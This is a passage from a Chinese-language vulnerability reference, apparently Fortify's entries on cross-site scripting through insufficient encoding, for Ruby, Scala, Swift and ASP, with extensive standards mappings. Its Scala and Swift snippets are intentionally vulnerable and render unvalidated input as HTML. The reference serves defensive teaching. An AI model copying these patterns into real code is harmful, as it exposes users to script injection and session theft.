- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.ruby.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼建構可防止部分,但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼建構等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使已套用編碼,Fortify Static Code Analyzer 還是會報告 Cross-site scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入 Web 應用程式。如果是 Reflected XSS,不可信賴的來源大多為 Web 要求;如果是 Persistent XSS (也可稱為 Stored XSS),來源大多為資料庫查詢結果。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 Play 控制項程式碼片段會從 HTTP 要求中讀取員工 ID eid,並向使用者顯示。


def getEmployee = Action { implicit request =>
var eid = request.getQueryString("eid")

eid = StringEscapeUtils.escapeHtml(eid); // insufficient validation

val employee = getEmployee(eid)

if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] INJECT-3: XML and HTML generation requires care Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[61] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.scala.cross_site_scripting_poor_validation
Abstract
這個方法使用的是 HTML、XML 和其他類型的編碼,但通常不足以防止惡意程式碼存取網頁瀏覽器。
Explanation
使用特定編碼建構 (例如 ESAPI 或 AntiXSS) 可防止部分,但不是所有 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、&和",以及以 XML 編碼的 <、>、&、"和'以外的字元,可能會有中繼意義。依賴這類編碼建構等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使已套用編碼,Fortify Static Code Analyzer 還是會報告 Cross-site scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入網頁。在 Reflected XSS 案例中,不可信賴的來源通常為使用者元件、URL 架構處理常式或通知,而在 Persistent XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2. 在未對包含資料的動態內容進行驗證的情況下,便將其傳送至某個 UIWebView 元件。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

以下範例突顯了可利用的 XSS 實例,其使用編碼 API 進行編碼:

範例 1:以下 Swift 程式碼片段會讀取自訂 URL 架構的文字部分,其會被傳遞到應用程式 (myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。


...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以較不危險,是因為 name 的值是從資料庫中讀取的,且為 HTML 編碼。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。攻擊者支援的攻擊可能會略過編碼字元或將輸入置於不受 HTML 編碼影響的環境中。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 3:以下程式碼會讀取 UITextField 的內容,並在 WKWebView 中將其顯示給使用者:


...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...


如果 inputTextField 中的文字只包含標準英數字元,這個範例中的程式碼便會正常運作而不會有問題。如果 inputTextField 中的文字包括中繼字元或原始程式碼,那麼網路瀏覽器就會像顯示 HTTP 回應那樣,可能會將輸入當成程式碼來執行。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的裝置上提供會導致惡意程式碼執行的輸入?真正的危險在於攻擊者可能使用電子郵件或社交工程病毒誘騙受害者執行此類動作。當這樣的誘騙成功,受害者就在不知情的情況下,透過易受攻擊的 Web 應用程式,將惡意內容帶回他們自己的裝置。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 內容中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從自訂 URL 架構讀取資料,並反映於 UIWebView 回應內容中。當攻擊者誘使使用者提供危險內容給易受攻擊的 iOS 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的自訂架構 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊應用程式的 URL。應用程式將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含工作階段資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 3 所述,目標應用程式以外的來源會使用目標應用程式的自訂 URL 架構提出 URL 要求,之後來自此 URL 要求的未驗證資料會被當作信賴的資料讀回到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[61] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.swift.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼功能可防止部分,但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼功能等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使套用編碼,Fortify Secure Coding Rulepack 還是會報告 Cross-Site Scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 ASP 程式碼片段在 HTTP 要求中讀取員工的識別碼 eid,使用 HTML 加以編碼並顯示給使用者。


...
